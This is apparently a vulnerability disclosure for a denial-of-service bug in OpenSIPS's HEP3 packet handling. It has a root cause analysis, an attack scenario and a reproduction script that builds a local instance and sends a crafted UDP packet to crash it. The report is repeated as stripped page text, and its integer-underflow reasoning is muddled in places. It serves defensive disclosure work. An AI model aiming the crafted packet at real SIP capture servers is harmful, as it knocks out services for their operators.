Root Cause Analysis
Step 1 — payload_chunk is zero-initialised and never populated when no payload chunk exists
In unpack_hepv3() (hep.c, lines 262 and 271):
memset(&h3, 0, sizeof(struct hepv3));
/* ... */
memset( &h3, 0, sizeof(struct hepv3));
The hepv3 struct contains:
/* hep.h, lines 218–234 */
struct hepv3 {
struct hep_generic hg;
union { ... } addr;
hep_chunk_payload_t payload_chunk; /* zero-initialised */
generic_chunk_t* chunk_list;
};
And hep_chunk_payload_t is (hep.h, lines 132–137):
struct hep_chunk_payload {
hep_chunk_t chunk; /* vendor_id=0, type_id=0, length=0 */
char *data; /* NULL */
} __attribute__((packed));
The HEP_PAYLOAD case (hep.c, lines 384–391) and HEP_COMPRESSED_PAYLOAD case (lines 393–423) are the only paths that set payload_chunk. If neither chunk type is present in the received HEP3 packet, payload_chunk remains:
payload_chunk.chunk.length = 0 /* (u_int16_t, host byte order after zeroing) */
payload_chunk.data = NULL
Step 2 — UDP path: integer underflow in hep_udp_read_req()
proto_hep.c, lines 1093–1097:
if (hep_ctx->h.version == 3) {
/* HEPv3 */
msg.len =
hep_ctx->h.u.hepv3.payload_chunk.chunk.length - sizeof(hep_chunk_t);
msg.s = hep_ctx->h.u.hepv3.payload_chunk.data;
msg is declared as str msg; (str = struct __str, msg.len is int).
hep_ctx->h.u.hepv3.payload_chunk.chunk.length is u_int16_t (value 0).
sizeof(hep_chunk_t) is 6 (three u_int16_t fields: vendor_id, type_id, length).
The expression (u_int16_t)0 - (size_t)6 promotes to unsigned arithmetic and then is assigned to int msg.len. The resulting value is implementation-defined but on x86_64 Linux GCC it wraps to (int)(0u - 6u) = -6 (signed underflow) or, if sizeof produces unsigned long, to (unsigned long)0 - 6 = 0xFFFFFFFFFFFFFFFA truncated to int = -6. Either way, msg.len is a large negative or large positive value depending on promotion rules — in practice -6 on this platform as int.
msg.s = NULL (from payload_chunk.data).
Step 3 — receive_msg() dereferences NULL
proto_hep.c, line 1111:
receive_msg( msg.s, msg.len, &ri, ctx, 0);
Inside receive_msg() (receive.c, lines 119–155):
in_buff.len = len;
in_buff.s = buf; /* buf = NULL */
/* ... */
if (run_pre_raw_processing_cb(PRE_RAW_PROCESSING,&in_buff,NULL)<0) { ... }
len = in_buff.len;
msg = pkg_malloc(sizeof(struct sip_msg));
/* ... */
msg->buf = in_buff.s; /* NULL */
msg->len = len;
/* ... */
if (parse_msg_opt(in_buff.s, len, msg, 0) != 0) { /* dereferences in_buff.s = NULL -> SIGSEGV */
parse_msg_opt immediately reads the first byte of in_buff.s to classify the SIP message, causing a NULL pointer dereference (SIGSEGV).
Step 4 — TCP path: same bug in hep_handle_req()
proto_hep.c, line 756 (TCP/TLS path via hep_handle_req()):
msg_len = hep_ctx->h.u.hepv3.payload_chunk.chunk.length - sizeof(hep_chunk_t);
/* remove the hep header; leave only the payload */
msg_buf = hep_ctx->h.u.hepv3.payload_chunk.data;
msg_len is int (proto_hep.c, line 680). Same arithmetic underflow; msg_buf = NULL.
Line 763:
if (receive_msg(msg_buf, msg_len, &local_rcv, ctx, 0) < 0) {
Same NULL dereference path follows.
Why no NULL guard exists
There is no check between unpack_hepv3() returning and payload_chunk.data being used. Neither hep_udp_read_req() (UDP path) nor hep_handle_req() (TCP path) test whether payload_chunk.data == NULL or payload_chunk.chunk.length == 0 before computing msg.len/msg_len and calling receive_msg.
Attack Scenario / Exploitation Path
- Attacker sends a single UDP packet to OpenSIPS HEP UDP listener (default port 9060).
- The packet is a syntactically valid HEP3 frame with a non-zero
total_length and any set of non-payload chunks (e.g., only an IP-family chunk). The payload chunk (type_id = 0x000F) and the compressed-payload chunk (type_id = 0x0010) are deliberately absent.
hep_udp_read_req() calls unpack_hepv3(), which parses all present chunks but leaves payload_chunk zero-initialised (length=0, data=NULL).
- Control returns to
hep_udp_read_req(). No error is returned by unpack_hepv3() (it returns 0 on success).
- Line 1096 computes
msg.len = 0 - sizeof(hep_chunk_t) — integer underflow.
- Line 1097 sets
msg.s = NULL.
- Line 1111 calls
receive_msg(NULL, <underflowed_len>, ...).
receive_msg dereferences NULL inside parse_msg_opt → SIGSEGV → worker crashes.
- Depending on OpenSIPS process model, the worker is restarted (self-healing DoS) or the entire process is terminated. Repeating the attack packet can maintain a persistent DoS condition.
The same attack applies over TCP (port 9060 TCP) using the hep_handle_req() path (line 756).
CIA Triad Impact
|
|
| Confidentiality |
None |
| Integrity |
None |
| Availability |
High — a single unauthenticated UDP or TCP packet crashes the worker processing it; repeated packets maintain DoS |
One-Click Reproduction Script
Note: Requires sipcapture module (with hep_capture_on=1) to trigger the vulnerable code path. The run_hep_cbs() function returns -1 (early exit) when no HEP callbacks are registered; sipcapture is the standard module that registers such callbacks in HEP concentrator deployments.
#!/bin/bash
set -e
WD=/tmp/poc_vuln_008_hep3_null_deref
SRC=/tmp/opensips-src-asan-008
mkdir -p "$WD"
# 1. Install dependencies
sudo apt-get update && sudo apt-get install -y \
build-essential git flex bison python3 libncurses5-dev libssl-dev pkg-config
# 2. Clone OpenSIPS 4.0
git clone --depth 1 https://github.com/OpenSIPS/opensips "$SRC"
cd "$SRC"
# 3. Build opensips binary with ASAN (two-stage: static libs first)
make -j$(nproc) gen_misclibs \
CFLAGS='-fsanitize=address -g -O1 -fno-omit-frame-pointer'
make -j$(nproc) opensips \
CFLAGS='-fsanitize=address -g -O1 -fno-omit-frame-pointer' \
LDFLAGS='-fsanitize=address'
# 4. Build required modules (no ASAN override to avoid MOD_LDFLAGS breakage)
make -j$(nproc) modules module='proto_hep'
make -j$(nproc) modules module='db_text'
make -j$(nproc) modules module='sipcapture'
# 5. Set up db_text database (sipcapture requires db_url)
mkdir -p /tmp/opensips_db/opensips
printf 'id(int,auto) src_ip(string) src_port(int) dst_ip(string) dst_port(int) from_user(string) from_tag(string) to_user(string) contact_user(string) auth_user(string) callid(string) callid_aleg(string) via_1(string) via_1_branch(string) cseq(string) diversion(string) reason(string) content_type(string) auth(string) user_agent(string) source_ip(string) source_port(int) direction(string) type(int) node(string) correlation_id(string) proto(int) family(int) rtp_stat(string) method(string) msg(blob) initiated_dur(int) completed_dur(int) reply_dur(int) cancel_dur(int) pid(int) micro_ts(int) created(string)\n' \
> /tmp/opensips_db/opensips/sip_capture
# 6. Write config (OpenSIPS 4.0 syntax: socket=, stderror_enabled=)
cat > "$WD/opensips_hep.cfg" << CFG
log_level=3
stderror_enabled=yes
mpath="$SRC/modules"
socket= hep_udp:127.0.0.1:9060
loadmodule "db_text.so"
loadmodule "proto_hep.so"
loadmodule "sipcapture.so"
modparam("sipcapture", "hep_capture_on", 1)
modparam("sipcapture", "db_url", "text:///tmp/opensips_db/opensips")
route {
exit;
}
CFG
# 7. Start OpenSIPS with ASAN
pkill -f "opensips.*hep" 2>/dev/null || true
sleep 1
ASAN_OPTIONS=detect_leaks=0:abort_on_error=1 \
"$SRC/opensips" -f "$WD/opensips_hep.cfg" -FD > "$WD/opensips.log" 2>&1 &
OPENSIPS_PID=$!
echo "[*] OpenSIPS started, PID=$OPENSIPS_PID"
sleep 5
if ! kill -0 "$OPENSIPS_PID" 2>/dev/null; then
echo "[!] Failed to start. Log:"; cat "$WD/opensips.log"; exit 1
fi
# 8. Send HEP3 packet with NO payload chunk (20 bytes, >= MIN_UDP_PACKET)
python3 - << 'PYEOF'
import socket, struct
TARGET_IP, TARGET_PORT = "127.0.0.1", 9060
# Chunk 0x0001 (IP-family=AF_INET) + Chunk 0x0002 (IP-proto=UDP)
# NO payload chunk (type=0x000F) -> payload_chunk.data stays NULL
chunk1 = struct.pack('!HHH', 0x0000, 0x0001, 7) + struct.pack('B', 0x02)
chunk2 = struct.pack('!HHH', 0x0000, 0x0002, 7) + struct.pack('B', 0x11)
pkt = b'HEP3' + struct.pack('!H', 6 + 7 + 7) + chunk1 + chunk2
print(f"[*] Sending {len(pkt)}-byte HEP3 packet (no payload chunk): {pkt.hex()}")
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(pkt, (TARGET_IP, TARGET_PORT))
s.close()
print("[*] Sent.")
PYEOF
# 9. Wait and check crash
sleep 4
cat "$WD/opensips.log"
if kill -0 "$OPENSIPS_PID" 2>/dev/null; then
echo "[?] Process still running"
kill "$OPENSIPS_PID"
else
echo "[!!!] OpenSIPS CRASHED — vulnerability confirmed"
fi
Disclosure
This vulnerability was discovered using an automated security auditing pipeline developed by Haruto Kimura (Stella), which leverages Anthropic's Claude language models for code analysis, vulnerability detection, and report generation
Root Cause Analysis
Step 1 —
payload_chunkis zero-initialised and never populated when no payload chunk existsIn
unpack_hepv3()(hep.c, lines 262 and 271):The
hepv3struct contains:And
hep_chunk_payload_tis (hep.h, lines 132–137):The
HEP_PAYLOADcase (hep.c, lines 384–391) andHEP_COMPRESSED_PAYLOADcase (lines 393–423) are the only paths that setpayload_chunk. If neither chunk type is present in the received HEP3 packet,payload_chunkremains:Step 2 — UDP path: integer underflow in
hep_udp_read_req()proto_hep.c, lines 1093–1097:msgis declared asstr msg;(str=struct __str,msg.lenisint).hep_ctx->h.u.hepv3.payload_chunk.chunk.lengthisu_int16_t(value 0).sizeof(hep_chunk_t)is 6 (threeu_int16_tfields:vendor_id,type_id,length).The expression
(u_int16_t)0 - (size_t)6promotes tounsignedarithmetic and then is assigned toint msg.len. The resulting value is implementation-defined but on x86_64 Linux GCC it wraps to(int)(0u - 6u) = -6(signed underflow) or, ifsizeofproducesunsigned long, to(unsigned long)0 - 6 = 0xFFFFFFFFFFFFFFFAtruncated toint=-6. Either way,msg.lenis a large negative or large positive value depending on promotion rules — in practice-6on this platform asint.msg.s = NULL(frompayload_chunk.data).Step 3 —
receive_msg()dereferences NULLproto_hep.c, line 1111:Inside
receive_msg()(receive.c, lines 119–155):parse_msg_optimmediately reads the first byte ofin_buff.sto classify the SIP message, causing a NULL pointer dereference (SIGSEGV).Step 4 — TCP path: same bug in
hep_handle_req()proto_hep.c, line 756 (TCP/TLS path viahep_handle_req()):msg_lenisint(proto_hep.c, line 680). Same arithmetic underflow;msg_buf= NULL.Line 763:
Same NULL dereference path follows.
Why no NULL guard exists
There is no check between
unpack_hepv3()returning andpayload_chunk.databeing used. Neitherhep_udp_read_req()(UDP path) norhep_handle_req()(TCP path) test whetherpayload_chunk.data == NULLorpayload_chunk.chunk.length == 0before computingmsg.len/msg_lenand callingreceive_msg.Attack Scenario / Exploitation Path
total_lengthand any set of non-payload chunks (e.g., only an IP-family chunk). The payload chunk (type_id = 0x000F) and the compressed-payload chunk (type_id = 0x0010) are deliberately absent.hep_udp_read_req()callsunpack_hepv3(), which parses all present chunks but leavespayload_chunkzero-initialised (length=0,data=NULL).hep_udp_read_req(). No error is returned byunpack_hepv3()(it returns 0 on success).msg.len = 0 - sizeof(hep_chunk_t)— integer underflow.msg.s = NULL.receive_msg(NULL, <underflowed_len>, ...).receive_msgdereferences NULL insideparse_msg_opt→ SIGSEGV → worker crashes.The same attack applies over TCP (port 9060 TCP) using the
hep_handle_req()path (line 756).CIA Triad Impact
One-Click Reproduction Script
Note: Requires
sipcapturemodule (withhep_capture_on=1) to trigger the vulnerable code path. Therun_hep_cbs()function returns -1 (early exit) when no HEP callbacks are registered;sipcaptureis the standard module that registers such callbacks in HEP concentrator deployments.Disclosure
This vulnerability was discovered using an automated security auditing pipeline developed by Haruto Kimura (Stella), which leverages Anthropic's Claude language models for code analysis, vulnerability detection, and report generation